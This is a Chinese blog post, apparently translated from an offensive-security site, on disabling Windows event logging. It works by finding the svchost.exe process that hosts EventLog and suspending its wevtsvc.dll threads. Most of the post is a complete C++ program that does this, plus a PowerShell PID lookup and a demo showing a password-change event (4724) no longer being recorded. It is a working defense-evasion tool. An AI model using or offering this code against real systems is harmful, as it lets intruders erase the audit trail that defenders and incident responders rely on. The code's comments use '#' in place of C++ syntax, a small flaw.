通过挂起EventLog服务线程禁用Windows事件日志

  • A+
所属分类:安全闲碎

From:https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads

Windows事件日志由svchost.exe托管处理。EventLog

如果我们列出svchost进程,则会看到许多这样的进程:

通过挂起EventLog服务线程禁用Windows事件日志

从上面的屏幕截图中,尚不清楚哪个进程真正托管了EventLog服务,但是如果我们继续在ProcessHacker中逐个检查进程,我们最终找到托管该服务的进程,当前为pid 2196:EventLog   svchost.exe

通过挂起EventLog服务线程禁用Windows事件日志

通过以下命令获得eventlog的进程ID

Get-WmiObject -Class win32_service -Filter "name ='eventlog'"|select -exp ProcessId

通过挂起EventLog服务线程禁用Windows事件日志

如果我们查看的svchost.exe线程,则会看到

通过挂起EventLog服务线程禁用Windows事件日志

下面显示的是,确实,挂起线程足以使EventLog服务无法注册任何新事件:

没有挂起时修改个密码

通过挂起EventLog服务线程禁用Windows事件日志

会注册新的事件

挂起后则没有新的事件

通过挂起EventLog服务线程禁用Windows事件日志

代码实现

下面是在较高级别下工作的技术代码:

1.使用OpenSCManagerA命令打开服务控制管理器的句柄


2.使用OpenServiceA命令打开EventLog服务的句柄

3.使用QueryServiceStatusEx命令检索svchost.exe(托管EventLog)进程ID

4.打开svchost.exe进程的句柄(从第3步开始)

5.获取由svchost.exe加载的已加载模块的列表 EnumProcessModules

6.循环浏览在步骤5中检索到的已加载模块列表,使用查找其名称并找到模块的基地址-这是包含服务内部工作的模块

7.获取模块信息。它将返回带有模块的起始地址-我们稍后将在确定服务线程是否落入wevtsvc.dll模块的内存空间时需要这些详细信息wevtsvc.dll   GetModuleInformation EventLog

8.枚举svchost.exe内的所有线程。Thread32FirstThread32Next

9.对于步骤8中的每个线程,使用NtQueryInformationThread命令检索线程的起始地址

10.对于步骤8中的每个线程,检查线程的起始地址是否属于svchost.exe内部的内存空间。wevtsvc.dll

11.如果线程的起始地址在内存空间内,则这是我们的目标线程,我们将其挂起wevtsvc.dll SuspendThread

12.EventLog服务现已禁用


#include <iostream>#include <Windows.h>#include <Psapi.h>#include <TlHelp32.h>#include <dbghelp.h>#include <winternl.h>#pragma comment(lib, "DbgHelp")using myNtQueryInformationThread = NTSTATUS(NTAPI*)(  IN HANDLE ThreadHandle,  IN THREADINFOCLASS ThreadInformationClass,  OUT PVOID ThreadInformation,  IN ULONG ThreadInformationLength,  OUT PULONG ReturnLength  );int main(){  HANDLE serviceProcessHandle;  HANDLE snapshotHandle;  HANDLE threadHandle;  HMODULE modules[256] = {};  SIZE_T modulesSize = sizeof(modules);  DWORD modulesSizeNeeded = 0;  DWORD moduleNameSize = 0;  SIZE_T modulesCount = 0;  WCHAR remoteModuleName[128] = {};  HMODULE serviceModule = NULL;  MODULEINFO serviceModuleInfo = {};  DWORD_PTR threadStartAddress = 0;  DWORD bytesNeeded = 0;  myNtQueryInformationThread NtQueryInformationThread =(myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"),"NtQueryInformationThread"));  THREADENTRY32 threadEntry;  threadEntry.dwSize = sizeof(THREADENTRY32);  SC_HANDLE sc = OpenSCManagerA(".", NULL,MAXIMUM_ALLOWED);  SC_HANDLE service = OpenServiceA(sc,"EventLog", MAXIMUM_ALLOWED);  SERVICE_STATUS_PROCESS serviceStatusProcess = {};  # Get PID of svchost.exe that hosts EventLog service  QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO,(LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess),&bytesNeeded);  DWORD servicePID = serviceStatusProcess.dwProcessId;  # Open handle to the svchost.exe  serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED,FALSE, servicePID);  snapshotHandle =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);  # Get a list of modules loaded by svchost.exe  EnumProcessModules(serviceProcessHandle, modules,modulesSize, &modulesSizeNeeded);  modulesCount = modulesSizeNeeded / sizeof(HMODULE);  for (size_t i = 0; i < modulesCount; i++)  {    serviceModule = modules[i];    # Get loaded module's name    GetModuleBaseName(serviceProcessHandle, serviceModule,remoteModuleName, sizeof(remoteModuleName));    if (wcscmp(remoteModuleName, L"wevtsvc.dll") ==0)    {    printf("Windows EventLog module %S at %pnn",remoteModuleName, serviceModule);    GetModuleInformation(serviceProcessHandle, serviceModule,&serviceModuleInfo, sizeof(MODULEINFO));    }  }  # Enumerate threads  Thread32First(snapshotHandle, &threadEntry);  while (Thread32Next(snapshotHandle, &threadEntry))  {    if (threadEntry.th32OwnerProcessID == servicePID)    {      threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE,threadEntry.th32ThreadID);      NtQueryInformationThread(threadHandle,(THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);      # Check if thread's start address is inside wevtsvc.dllmemory range      if (threadStartAddress >=(DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <=(DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage){        printf("Suspending EventLog thread %d with startaddress %pn", threadEntry.th32ThreadID, threadStartAddress);        # Suspend EventLog service thread        SuspendThread(threadHandle);        Sleep(2000);      }    }  }return 0;}

以下演示

net user ola ola执行并更改用户的ola密码,并在6:55:30PM记录事件4724

通过挂起EventLog服务线程禁用Windows事件日志

通过挂起EventLog服务线程禁用Windows事件日志

执行文件,svchost.exe中暂停了4个EventLog线程

通过挂起EventLog服务线程禁用Windows事件日志

通过挂起EventLog服务线程禁用Windows事件日志

再次执行修改密码命令

通过挂起EventLog服务线程禁用Windows事件日志

通过挂起EventLog服务线程禁用Windows事件日志

新的事件没有写入,只有挂起前的事件

通过挂起EventLog服务线程禁用Windows事件日志


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: